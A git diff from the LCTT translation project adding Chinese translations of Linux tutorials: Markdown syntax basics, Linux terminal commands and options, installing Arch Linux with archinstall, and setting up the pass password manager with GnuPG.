文档遵循一种特定的语法,容易阅读和写作。它们是纯文本,所以能够通过电脑上的任何文本编辑器来创建。然后这些文档能够转换成网页 —— 而网页是用一个叫做 HTML 的语言标记创建的。 + +Markdown 只是一种不必(即使知道怎么做)写 HTML 代码就能够创建网页的方式。实际上,如果你不转换成 HTML 的话,Markdown 甚至是个对纯文本格式化的好方法。有人曾这样对我描述 Markdown : + + +> “ _它不是所见即所得,而是所见即所意_ ”。 + +然而,Markdown 不只是一个简单的格式化体系,它也是一个纯文本格式转化到 HTML 的一个软件工具。 + +这就是为什么语法很重要。如果你想在网页上起个标题,Markdown 将会基于你标题前面的字符来创建。Markdown 的一些语法示例如截图所示: + +![Markdown to HTML conversion][1] + +### 所以我怎样才能使纯文本文件转换成 HTML 格式呢? + +John Gruber 的 Markdown 是一个运行在命令行上的 Perl 脚本。也就是说,它可以读取你创建的 Markdown 文本并用它来构建网页。 + +由于有 [许多著名的编辑器][2] 可以为你做这个转换,我在这里尽量避免使用命令行。不仅如此,许多这样的编辑器会让你写下你的文本,并同时向你展示网页的样子(称为渲染)。 + +Markdown 编辑器总的来说设置了两帧:左边部分是你要写你文本的地方,右边部分是用 HTML 语言显示给你格式化后文本的样子: + +![Most Markdown editors have two panes to write and preview the text][3] + +当你用它满意地完成你的写作,只需保存 Markdown 文件即可。就像这样,之后一旦你需要编辑和修改的时候,你就会用到它。文件保存后,你可以用编辑器将 Markdown 文档导出为 HTML 格式的文档。 + +编辑器用你的 Markdown 作为参考创建网页。你的 Markdown 文档在导出时不会修改,你仍然拥有源文档,同时创建一个独立的、新的 HTML 文档(网页),你可以把它放到一个网页服务器上。 + +**注意**:许多 Markdown 编辑器也可以将你的 Markdown 文档导出为其他格式,比如 `.doc`、`.docx` 和 `.pdf`。之后你可以了解这些高级设置和你可能需要的额外软件。 + +### Markdown 基础语法 + +为了让 Markdown 新用户快速了解,我将把这部分内容限制在我最常使用的语法上。我相信这些将是最有帮助的 - 你可以在现在就提高工作效率,同时了解更多关于 Markdown 以后能为你做什么。 + +#### 写标题 + +我经常使用 `#` 字符来表示标题。这里有六个等级: + +``` +# 一级标题 +## 二级标题 +### 三级标题 +#### 四级标题 +##### 五级标题 +###### 六级标题 +``` + +还有一种标题类型,是在文本下使用下划线。我很少使用这种类型的标题,我只限于使用两种:一种是使用 `=` 字符表示的双下划线,生成 `H1` 标题。一种是使用 `-` 字符表示的单下划线,生成 `H2` 标题: + +``` +一级标题 +=============== + +二级标题 +--------------- +``` + +![][4] + +#### 段落 + +段落被空行隔开(确保段落之间有一个空行)。首行不要缩进。在 Markdown 里用 `Tab` 键或者空格键缩进有着不同的目的和作用。 + +段落是一个文本块,不应该用空格键和 `Tab` 键来缩进。它可以有一行或者多行。要结束这一段另起一段,点两下回车键;段落通过一个空行分开。 + +![][5] + +#### 换行 + +请记住,对于段落,必须用空行来分隔它们,这要通过按两次回车键来实现。Markdown 对此很严格。 + +Markdown 不支持 “强制插入换行符hard-wrapped” 或者 “固定行长度fixed-line-length” 段落。那就是说,单击回车键一次将不会强制文本换到新的一行。它可能在编辑窗口显示,但是 HTML 格式下不显示。 + +然而,有时你可能需要拆分段落或者换行。Markdown 确实有一种方法可以做到,但是它一开始看起来可能有一点奇怪:**换行是通过用两到多个空格键然后点一次回车键完成的。** + +![][6] + +这里有一个短诗的范例。每行以两个空格结束。最后一行,由于是这个小节的结束,没有额外的空格。因为它是这个诗句(段落)的结束,我双击回车键两次: + +``` +Baa, baa black sheep, +Have you any wool?. +Yes, sir. Yes, sir. +Three bags full. +``` + +在一行的最后加两个空格来创建一个换行,可能需要时间去习惯。 + +![][7] + +#### 水平线 + +水平线非常适合将文本拆分为多个部分。 + +用三个或更多的破折号 `-` ,下划线 `_` ,或者星号 `*` 来做水平线,像这样: + +``` +--- + +*** + +___ +``` + +你甚至可以在字符之间输入空格: + +``` +- - - +``` + +在文章和报告中我不经常使用水平线,但是在日记、系统日志和课堂笔记中对我很有用。 + +![][8] + +#### 用加粗和斜体来强调文本 + +当你想让一个单词或者短语脱颖而出,引起注意,你可以让它加粗或者斜体显示。斜体和加粗文本可以在两种方式中任选其一。第一种是用星号 `*` 将其包括,第二种是用下划线 `_` 的方式。 + +使一个单词或者短语斜体显示,用一个下划线或者星号来括住文本。使一个单词或者短语加粗,使用两个下划线或者星号来括住文本: + +``` +用星号来显示 *斜体* 。 + +用下划线来显示 _斜体_ 。 + +用星号来显示 **加粗** 。 + +用下划线来显示 __加粗__ 。 +``` + +记住两边使用相同的字符。单词或短语的一面是星号,另一面是下划线,将不会生效。相同字符必须在单词或者短语的两边。 + +![][9] + +#### 块引用 + +块引用被用来直接引用。如果你正在写博客,你想重复本杰明•富兰克林说过的话,你可以使用块引用。 + +一个右尖括号被用来指定块引用: + +``` +> 这是块引用。 + +>> 如果你想进一步再次块引用,使用两个右尖括号。 +``` + +![][10] + +#### 在 Markdown 中添加超链接 + +超链接非常酷。在基础版的 Markdown 语言有三种方式创建超链接,在这里我只讲两种:普通连接和自动连接。 + +第三种链接被称为参考链接,在 Markdown 语言的基础版和高级版都支持。我想让你快速入门。你可以在准备好的时候找找参考链接的资料。 + +普通链接可以让你链接到各种各样的网站。网站名称或者你要使用的短语被放置在中括号 `[]` 中。真实的链接地址在小括号 `()` 中。 + +``` +现在去看看 [Linux 中国](https://linux.cn) 。 +``` + +自动连接通过用尖括号 `<>` 括住链接地址。这个链接是一个实际的地址(可以是网址或者电子邮件地址)。拼写出来的链接被转换到 HTML 的时候,就变成了有效的链接。 + +``` + + + +``` + +当你想在文本中拼写出网址时,这很有用: + +![][11] + +#### 在 Markdown 中添加图片 + +链接图片几乎与链接网站一样。网站链接和图片链接微小的不同是,图片链接以感叹号 `!` 开始。 + +图片名称或者图片描述放置在中括号 `[]` 里。实际链接放置在小括号 `()` 里。 + +你可以像这样嵌入图片: + +``` +![alternate text](./images/image.jpg) +``` + +这儿有一个示例图像链接。这是一个示例链接,没有这个图片,但是这是个好例子,显示了实际链接应该有的样子: + +``` +![a picture of bill](./images/my_photo_of_me.jpg) +``` + +![][12] + +#### 列表 + +制作列表有很多原因。它们可能用来作为代办事项、大纲中的主题元素、组装项目中的明细栏等等。列表有两种主要类型:无序列表和有序列表。 + +无序列表没有编号;这些就是我们在许多文档中所看到的列表项。有序列表是有编号的。 + +要创建一个有序(有编号的)列表,只需在每行用一个数字开始,像这样: + +``` +1. 项目 一。 +2. 项目 二。 +3. 项目 三。 +``` + +无序列表没有编号,但要在列表每个项目的开始使用一个星号 `*` 、一个加号 `+` ,或者一个减号 `-` 。我偏向于使用一个星号或者减号,你可以选择适合你的: + +``` +* 项目 一。 ++ 项目 二。 +- 项目 三。 +``` + +子项目可以通过缩进被添加到有序和无序列表中,像这样: + +``` +1. 项目 一 + 1. 子项目 一 + 2. 子项目 二 +2. 项目 二 +3. 项目 三 +``` + +![][13] + +### Markdown 语法速查表 + +这是一个简短的 Markdown 语法列表为你作为参考,这个列表已经在本小结中介绍。 + +如果你决定使用 Markdown 作为写作工具,你会发现 Markdown 会让写作变得更加简单。 + +![][14] + +> **[下载 PDF 格式的 Markdown 速查表][15]** + +### 结语 + +Markdown 可以做比我描述的更多的事情。我写作的很大一部分是用我在这里介绍的 Markdown 语法完成的 - 而这些是我最常使用的项目,即使是在更复杂的项目中。 + +如果这些看起来太简单了,那么说明它真的很容易。Markdown 用来完成简单的写作任务,但是你不必完全听我的。你可以尝试一下!不必安装 Markdown 编辑器;你可以在线尝试。这里有几个 [优秀的在线 Markdown 编辑器][16]。这里我喜欢用这三个: + +- John Gruber’s [Dingus][17] +- [Editor.md][18] +- [Dillinger][19] + +Editor.md 和 Dillinger 会让你看到你的 Markdown 文本作为 HTML 实时渲染的效果。 Dingus 不能实时预览,但是在参考页有 Markdown 的语法速查表。 + +![][20] + +用以上这些在线编辑器尝试一下文章中的示例。也可以尝试一下你自己的想法。这将使你在可能致力于学习更多的知识之前习惯于 Markdown。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/markdown-guide/ + +作者:[Bill Dyer][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/bill/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/retext_window_showing_syntax_and_preview-2.png?resize=800%2C429&ssl=1 +[2]: https://itsfoss.com/best-markdown-editors-linux/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/04/ghostwriter_two_frames-1.png?resize=800%2C458&ssl=1 +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/1_md_headings_vscodium.png?resize=800%2C485&ssl=1 +[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/2_md_paragraphs_example_vscodium.png?resize=800%2C593&ssl=1 +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/3_md_line_break_fail_vscodium.png?resize=800%2C593&ssl=1 +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/4_md_line_break_success_vscodium.png?resize=800%2C450&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/04/5_md_horizontal_rules_vscodium.png?resize=800%2C326&ssl=1 +[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/6_md_emphasis_vscodium.png?resize=800%2C393&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/7_md_blockquotes_vscodium.png?resize=800%2C393&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/8_md_links_vscodium.png?resize=800%2C678&ssl=1 +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/9_md_images_vscodium.png?resize=800%2C725&ssl=1 +[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/10_md_lists_vscodium.png?resize=800%2C725&ssl=1 +[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/04/markdown-syntax-cheatsheet.png?resize=727%2C743&ssl=1 +[15]: https://drive.google.com/file/d/1y-Qz9PX_2HksEG5D_WwN-asNB-tpjZHV/view?usp=sharing +[16]: https://itsfoss.com/online-markdown-editors/ +[17]: https://daringfireball.net/projects/markdown/dingus +[18]: http://editor.md.ipandao.com/en.html +[19]: https://dillinger.io/ +[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/04/editor-md_page_in_browser-1.png?resize=800%2C505&ssl=1 diff --git a/published/202204/20210812 A guide to the Linux terminal for beginners.md b/published/202204/20210812 A guide to the Linux terminal for beginners.md new file mode 100644 index 0000000000..a4607fb8ed --- /dev/null +++ b/published/202204/20210812 A guide to the Linux terminal for beginners.md @@ -0,0 +1,121 @@ +[#]: subject: "A guide to the Linux terminal for beginners" +[#]: via: "https://opensource.com/article/21/8/linux-terminal" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14445-1.html" + +Linux 终端新手指南 +====== + +> 学习 Linux 终端命令、参数的区别,以及如何使用它们来控制你的计算机。 + +![](https://img.linux.net.cn/data/attachment/album/202204/08/113632ayyp77duejmdyrj8.jpg) + +距离我的住处几条街远的地方,有一家咖啡馆,我在每个周日都会去那里参加固定的 “龙与地下城Dungeons & Dragons”(D&D) 游戏。他们有一份菜单,前几次我去点餐时,我总是要翻看好几分钟,才能确定要点些什么。熟悉了之后,我就不用看菜单了,因为我清楚地知道他们在卖什么,也清楚地知道自己想要什么。现在点餐对我来说很简单,只要说一声“老规矩”就好了,接下来就是等待一杯咖啡、一碗薯片和烤饼被送来(通常不方便的是,在我们 做出决定roll for initiative 的那一刻,但这也不是他们的问题)。(LCTT 译注:做出决定roll for initiative 是 D&D 玩家的黑话,它指的是在比赛开始前掷骰子的行为) + +与餐厅的菜单类似,计算机的图形界面也为用户提供了操作选项。这里有图标、窗口和按钮,你可以搜索你想要的东西,点击项目,拖动其他项目,操纵图形界面,直到你的任务完成。不过,一段时间后,这可能会变得繁琐,甚至是效率低下。既然你清楚地知道需要做什么,那么,如果只需告诉计算机你想要发生什么,无需耗费大量的体力和脑力来搜索项目、舞动鼠标,就能达到目的,岂不是更好吗? + +### Linux 终端是什么 + +Linux 终端是一个基于文本的交互界面,它是用来控制 Linux 计算机的。虽然它只是帮助 Linux 用户完成任何特定任务的众多工具之一,但是它被广泛地认为是最有效的方法。除了编写代码,这无疑是最直接的方法。事实上,它是如此受欢迎,以至于苹果公司将操作系统的基础改为 Unix,从而获得了 [Bash 和 Z shell][2],而微软公司开发了它自己的开源命令行 [PowerShell][3]。 + +### Linux 命令是什么 + +命令commands 是一种特殊的关键词,你可以在终端中使用它,告诉计算机去执行一个动作。大多数命令是很小的应用程序,它们与你的操作系统的其他部分一起安装。你可能没有意识到它们的存在,因为它们通常被保存在相对模糊的目录中,如 `/bin`、`/sbin`、`/usr/bin` 和 `/usr/sbin`,但你的终端知道在哪里可以找到它们(多亏了一个叫 [PATH][4] 的东西)。其他的命令是内置在终端中的。你不必担心一个命令是安装的还是内置的,无论是哪一种,终端都能执行。更棒的是,在大多数 Linux 发行版上,当终端找不到一个命令时,它会在互联网上搜索提供该命令的软件包,然后会主动为你提供安装软件包、运行该命令的服务。 + +下面是一个简单的命令: + +``` +$ ls +``` + +`ls` 命令是 “list” 的缩写,它会列出当前目录的内容。试一试吧!先打开一个终端窗口,然后打开一个文件管理器窗口(Linux 上叫 “文件Files”,macOS 上叫 “访达Finder”,Windows 上叫 “资源管理器Windows Explorer”)。比较一下这两个窗口,它们是同一数据的两种不同表现方式。 + +### Linux 命令中的参数是什么 + +参数argument 是命令中的任意一个“不是命令本身”的部分。例如,要列出一个特定目录的内容,你可以提供该目录的名称作为参数。 + +``` +$ ls Documents +``` + +在这个例子中,`ls` 是命令,`Documents` 是参数。该命令将列出 `Documents` 目录的内容。 + +### Linux 命令中的选项是什么 + +命令的 选项option,也叫 标志flag开关switch,它是命令参数的一部分。命令参数是跟在命令后面的任何东西,而选项通常(但不总是)用一个连接号(`-`)或两个连接号(`--`)来划分。请看下面这个例子: + +``` +$ ls --classify Documents +``` + +在这个例子中,`--classify` 是一个选项。它也有一个简短的版本,因为终端用户更喜欢少打点字来提高效率。 + +``` +$ ls -F Documents +``` + +短的选项通常可以合并。下面是一个 `ls` 命令,它将 `-l` 选项与 `--human-readable`(`-h`)、`--classify`(`-F`) 和 `--ignore-backups`(`-B`) 选项结合了起来: + +``` +$ ls -lhFB +``` + +一些选项本身可以带参数。例如,`ls` 的 `--format` 选项可以让你改变信息的呈现方式。默认情况下,目录的内容是以列的形式提供给你的,但如果你需要它们显示为逗号分隔的列表,你可以把 `--format` 设置为 `comma`。 + +``` +$ ls --format=comma Documents +alluvial, android-info.txt, arduinoIntro, dmschema, +headers.snippet, twine, workshop.odt +``` + +等于号(`=`)是可选的,所以这样做也可以: + +``` +$ ls --format comma Documents +alluvial, android-info.txt, arduinoIntro, dmschema, +headers.snippet, twine, workshop.odt +``` + +### 学习使用 Linux 终端 + +学习如何使用终端可以提高工作效率和生产力,同时也可以使计算变得非常有趣。当我运行一个精心设计的命令时,我常常会坐下来,为我在空白屏幕上输入几个字就能实现的事情而惊叹。终端可是和很多东西相关 —— 编程、诗歌、拼图和实用主义,但无论你如何看待,它都是一个值得学习的持续创新。 + + * [使用 Linux 终端查看你的计算机上有哪些文件][5] + * [如何在 Linux 终端中打开和关闭目录][6] + * [在 Linux 终端中进行导航][7] + * [在 Linux 终端中移动一个文件][8] + * [在 Linux 终端中重命名一个文件][9] + * [在 Linux 终端中复制文件和文件夹][10] + * [在 Linux 终端中删除文件和文件夹][11] + +在阅读和练习了这些文章中的课程后,你可以下载我们的免费电子书 [系统管理员的 Bash 脚本指南][12],在终端中获得更多乐趣。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/8/linux-terminal + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/terminal_command_linux_desktop_code.jpg?itok=p5sQ6ODE (Terminal command prompt on orange background) +[2]: https://opensource.com/business/16/3/top-linux-shells +[3]: https://opensource.com/article/18/2/powershell-people +[4]: https://opensource.com/article/17/6/set-path-linux +[5]: https://linux.cn/article-13669-1.html +[6]: https://opensource.com/article/21/7/linux-terminal-basics-opening-and-closing-directories +[7]: https://opensource.com/article/21/7/terminal-basics-moving-around-your-computer +[8]: https://linux.cn/article-13677-1.html +[9]: https://opensource.com/article/21/7/terminal-basics-rename-file-linux-terminal +[10]: https://opensource.com/article/21/7/terminal-basics-copying-files-linux-terminal +[11]: https://linux.cn/article-13687-1.html +[12]: https://opensource.com/downloads/bash-scripting-ebook \ No newline at end of file diff --git a/published/202204/20220114 Installing Arch Linux Using archinstall Automated Script -Complete Guide.md b/published/202204/20220114 Installing Arch Linux Using archinstall Automated Script -Complete Guide.md new file mode 100644 index 0000000000..0f162609d7 --- /dev/null +++ b/published/202204/20220114 Installing Arch Linux Using archinstall Automated Script -Complete Guide.md @@ -0,0 +1,174 @@ +[#]: subject: "Installing Arch Linux Using archinstall Automated Script [Complete Guide]" +[#]: via: "https://www.debugpoint.com/2022/01/archinstall-guide/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14444-1.html" + +用 archinstall 自动化脚本安装 Arch Linux +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/08/084638i8vp81c1zpxpw6i8.jpg) + +> 在这篇指南中,我们解释了使用自动化脚本 `archinstall` 安装 Arch Linux 的超级容易的方法。适合初学者到高级用户。 + +对许多新用户来说,安装 Arch Linux 仍然是一件头疼的事情。它需要命令行,以及包括启动引导过程、内核和 Grub 概念在内的 Linux 系统的内部工作机制等大量的知识。对许多人来说并不知道这些知识。但是新用户仍然想要安装和体验 Arch Linux 。 + +我个人感觉在计算机年代,操作系统的安装应该是简单的事情。对于最终用户安装系统应该尽可能的简单。毕竟,所有操作系统的存在只有一个目的 —— 帮助最终用户执行某些任务并协助他们。  + +### archinstall 自动化脚本是什么? + +话说,不久前我们讨论过在裸机上安装 Arch Linux。从那以后,Arch Linux 团队弄出来了一个叫做 [archinstall][1] 自动化和交互脚本。如今用这个脚本安装 Arch Linux 是一件容易的事情,任何人都能够完成。 + +这就让我们有了使用这个叫做 `archinstall` 的自动化脚本撰写这篇 Arch Linux 安装指南的打算。 + +让我们开始吧。 + +### 使用 archinstall 脚本安装 Arch Linux 的指南 + +我将这个指南分为三个部分。第一部分是下载 Arch Linux 的 .ISO 文件,创建一个磁盘引导分区。第二部分是实际安装,最后是用一个示例桌面来完成配置。 + +#### 第一部分:下载 .ISO 文件 + +访问以下链接。下载 Arch Linux 的 .ISO 文件。你能够用一个直接的 HTTP 地址下载或者使用种子/磁力链接下载文件。 + +> [下载 Arch Linux][2] + +一旦下载完成,用 [Etcher][3] 或者其他的工具创建一个可启动的 U 盘。 + +完成以后,插入 U 盘并且重启计算机。 + +你开始下一部分之前,确定你连接了互联网。一般来说,如果你是有线网,那就很好。如果你在 Arch 就要通过命令行配置 Wi-Fi,请 [遵从此指南][4]。只要确保你已经连接到互联网就行。 + +#### 第二部分:使用 archinstall 安装 + +一旦启动完成,你应该看到以下提示。键入 `archinstall` 然后点击回车。 + +![First prompt for archinstall][5] + +这个命令将会验证网络连接是否连接到 Arch Linux 的镜像站点。一旦完成,就会弹出一系列(像这样的)问题。你需要做的将是阅读和回复。 + +所以,对这个指南来说,我给出了让你开始的最基础和最容易的一种方法。如果你足够自信,你也可以尝试其他选择。但是我建议遵循以下概述的基本选择,下次你在尝试其他的选择。 + +够公平吧?OK。 + +因此,第一个问题是键盘布局类型。通过两个字节国家特定布局代码来显示。你也可以键入它们或者输入它们边上的数字。对于美国-英语来说,我键入 `us` 。 + +![Keyboard Type – archinstall][6] + +下一步是键盘语言,我键入数字 `65` 选择美国。 + +![Keyboard Language – archinstall][7] + +下一个是硬盘驱动器部分。这个脚本自动探测你的目标系统的可用驱动器。举个例子,在以下图片中,它显示 17GB `/dev/vda` 是一个主要的块设备。这就是我要安装系统的地方。不要跳过这个步骤。 + +在这个指南中,我键入数字 `2` 选中 `/dev/vda` 块设备。请根据你们每人的系统键入相应的数字。 + +一旦你做完这步,你应该在设置这个设备的边上看到一个双箭头 `>>`。如果你已经选中它,按下回车键进入下一步。 + +![Choose Block Device -1][9] + +![Choose Block Device -2][10] + +在下一个选项中,你要非常小心。这个脚本问是否你想清除设备然后进行自动分区。否则你要手动分区硬盘驱动器。为了简单起见,我选择选项 `0`。 + +![Select partition option – archinstall][11] + +在下面一组问题中,如下图所示。更多的是文件系统类型、主机名、root 用户密码,等等。按照屏幕上的操作。便于帮助你,我已经在下表中加入了用于本指南的问题和答案。 + +问题 | 选项 +---|--- +选择主要的文件系统 | `ext4` +你想用 zram 作为交换分区吗?| `n` +键入磁盘加密密码 | 保留为空直接按下回车 +主机名或计算机名 | 键入你要键入的名字 +键入 root 密码 | 键入你要键入的密码 +键入程序预配置文件名:0 – 桌面;1 – 最小化;2 – 服务器;3 – xorg | 选择 `3` xorg +安装显卡驱动 | 根据你的系统选择数字。否则缺省不选按下回车键 +安装声卡驱动 | 选择 `pulseaudio` + +![Various options in archinstall -1][12] + +在选择内核的下个问题里,选择 `linux`。这个脚本将要为你安装你额外添加的软件包,像 firefox、nano ,等等。 + +用 NetworkManager 选择网络接口,并且为时区选择缺省选项。 + +![Various options in archinstall -2][13] + +就是这样。一旦你已经完成上述步骤,这个脚本将会生成,并且等待你按下回车开始安装过程。 + +![archinstall starts downloading packages][14] + +等待直到这一步骤完成。这将花一些时间下载安装所有软件包,这依赖你的系统和网络连接速度。有时 Arch 镜像是缓慢的,所以等待直到它完成。 + +#### 第三部分 - 安装桌面环境 + +当你用以上方法安装完基本系统以后,你可以安装像 GNOME、KDE Plasma、MATE、Xfce 等额外的桌面环境。我们在以下页面中为它们每个都提供了安装指南。你可以访问你选择的桌面环境安装页面,并且直接跳到这些页面底部提取安装桌面环境的命令。 + + * [Xfce][15] + * [GNOME][16] + * [KDE Plasma][17] + * [Cinnamon][8] + * [LXQt][18] + +举个例子,如果你想要安装 GNOME 桌面基本套件,你可以简单的运行以下命令来安装。 + +``` +sudo pacman -S --needed gnome gnome-tweaks nautilus-sendto gnome-nettool gnome-usage gnome multi-writer adwaita-icon-theme chrome-gnome-shell xdg-user-dirs-gtk fwupd arc-gtk-theme seahosrse gdm firefox gedit +``` + +``` +systemctl enable gdm +``` + +``` +systemctl enable NetworkManager +``` + +一旦你完成了以上这些,键入 `reboot` 重启。 + +恭喜你。你已经使用这个指南通过厉害的 `archinstall` 脚本安装完成了 Arch Linux。 + +### 结语 + +我相信,这是由该团队开发的令人印象深刻的脚本之一。并且确实增加了使用 Arch Linux 的用户基数和覆盖范围。 + +使用这个脚本有什么问题吗?在下方评论让我知道。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/01/archinstall-guide/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://github.com/archlinux/archinstall +[2]: https://archlinux.org/download/ +[3]: https://www.debugpoint.com/2021/01/etcher-bootable-usb-linux/ +[4]: https://www.debugpoint.com/2020/11/connect-wifi-terminal-linux/ +[5]: https://www.debugpoint.com/wp-content/uploads/2022/01/image.png +[6]: https://www.debugpoint.com/wp-content/uploads/2022/01/Keyboard-Type-archinstall.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/01/Keyboard-Language-archinstall.jpg +[8]: https://www.debugpoint.com/2021/02/cinnamon-arch-linux-install/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/01/Choose-Block-Device-1.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/01/Choose-Block-Device-2.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/01/Select-partition-option-archinstall.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/01/Various-options-in-archinstall-1.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/01/Various-options-in-archinstall-2.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2022/01/archinstall-starts-downloading-packages.jpg +[15]: https://www.debugpoint.com/2020/12/xfce-arch-linux-install-4-16/ +[16]: https://www.debugpoint.com/2020/12/gnome-arch-linux-install/ +[17]: https://www.debugpoint.com/2021/01/kde-plasma-arch-linux-install/ +[18]: https://www.debugpoint.com/2020/12/lxqt-arch-linux-install/ +[19]: https://t.me/debugpoint +[20]: https://twitter.com/DebugPoint +[21]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[22]: https://facebook.com/DebugPoint diff --git a/published/202204/20220119 Manage your passwords in the Linux terminal.md b/published/202204/20220119 Manage your passwords in the Linux terminal.md new file mode 100644 index 0000000000..415e376715 --- /dev/null +++ b/published/202204/20220119 Manage your passwords in the Linux terminal.md @@ -0,0 +1,218 @@ +[#]: subject: "Manage your passwords in the Linux terminal" +[#]: via: "https://opensource.com/article/22/1/manage-passwords-linux-terminal" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14480-1.html" + +在 Linux 终端里管理你的密码 +====== + +> pass 是一个经典的 UNIX 式密码管理系统,使用 GnuPG(GPG)作为加密方式,终端是它的主要界面。 + +![](https://img.linux.net.cn/data/attachment/album/202204/16/145508xw1uyw4ezbvrmybv.jpg) + +如今,我们每个人都有几十个密码。幸运的是,这些密码大部分几乎都是网站的,你可能通过互联网浏览器访问大部分网站,而许多浏览器都有内置的密码管理器。最流行的互联网浏览器也有一个同步的功能,可以帮助你在各种设备上运行的浏览器之间分发密码,所以当你需要时,绝不会找不到你的登录信息。如果这不能够满足你,还有类似 [BitWarden][2] 这样优秀的开源项目也可以托管你加密后的密码,确保只有你自己才能解锁它们。这些方案有助于你轻松维护独特的密码,我使用这些方便系统来管理一些密码。但是我的主密码存储库比以上这些方式简单的多。我主要是使用 [pass][3] ,这是一个经典的 UNIX 式密码管理系统,使用 GnuPG(GPG)作为加密方式,终端是它的主要界面。 + +### 安装 pass + +你可以从你的发行版仓库中安装 `pass` 命令。 + +在 Fedora、Mageia 和类似的发行版上,你可以用你的包管理器来安装它: + +``` +$ sudo dnf install pass +``` + +在 Elementary、Mint 和其它基于 Debian 的发行版上: + +``` +$ sudo apt install pass +``` + +在 macOS 上,你可以使用 [Homebrew][4] 来安装它: + +``` +$ brew install pass +``` + +### 设置 GnuPG + +在使用 `pass` 之前,你需要一个有效的 PGP(良好隐私Pretty Good Privacy)密钥。如果你已经维护了一个 PGP 密钥,你可以跳过这个步骤,或者你可以选择为使用 `pass` 而创建一个新的密钥。最常见的开源 PGP 实现是 GnuPG(GPG),它随 Linux 一起提供。对于 macOS,你可以从 [gpgtools.org][5]、Homebrew 或者 [Macports][6] 安装它。要创建 GnuPG 密码,运行这个命令: + +``` +$ gpg --generate-key +``` + +你会被提示输入你的名字和电子邮件,并且为密钥创建一个密码。你的密钥是一个数字文件,你的密码只有你自己知道。它俩组合起来能够“加锁”和“解锁”加密信息,比如包含密码的文件。 + +GPG 密钥更像是一个房门钥匙或者汽车钥匙,如果你失去了它,它“锁起来”的任何东西都会变得无法获得。仅仅知道你的密码是不够的。 + +如果你已经管理了几个 SSH 密钥,你可能已经习惯了这一点了。如果你对数字加密密钥是个新手,可能得花些时间来适应。备份你的 `~/.gnupg` 目录,这样当你下次心血来潮决定尝试一个令人兴奋的新发行版时,你就不会意外地删除它。 + +做一个备份,并保持备份安全。 + +### 设置 pass + +要开始使用 `pass` ,你必须初始化一个 _密码仓库_ ,它定义为一个储存位置,配置为使用特定加密密钥。你可以通过与密钥相关联的名称或数字指纹来指明要用于密码存储的 GPG 密钥。你自己的名字通常更容易选择: + +``` +$ pass init seth +mkdir: created directory '/home/seth/.password-store/' +Password store initialized for seth +``` + +如果你忘记了你的名称,你可以使用 `gpg` 命令查看数字指纹和关联你名称的密钥: + +``` +$ gpg --list-keys +gpg --list-keys +/home/seth/.gnupg/pubring.kbx +----------------------------- +pub  ed25519 2022-01-06 [SC] [expires: 2024-01-06] +     2BFF94286461216C907CBA52F067996F13EF10D8 +uid  [ultimate] Seth Kenlon <[seth@example.com][7]> +sub  cv25519 2022-01-06 [E] [expires: 2024-01-06] +``` + +用指纹初始化密码库与用你的名字初始化密码库基本相同: + +``` +$ pass init 2BFF94286461216C907CBA52F067996F13EF10D8 +``` + +### 存储密码 + +使用 `pass add` 命令添加密码到你的密码仓库: + +``` +$ pass add [www.example.com][8] +Enter password for [www.example.com][8]: +``` + +提示你键入你要添加的密码。 + +密码现在存储到了你的密码仓库中。你可以自己查看一下: + +``` +$ ls /root/.password-store/ +www.example.com.gpg +``` + 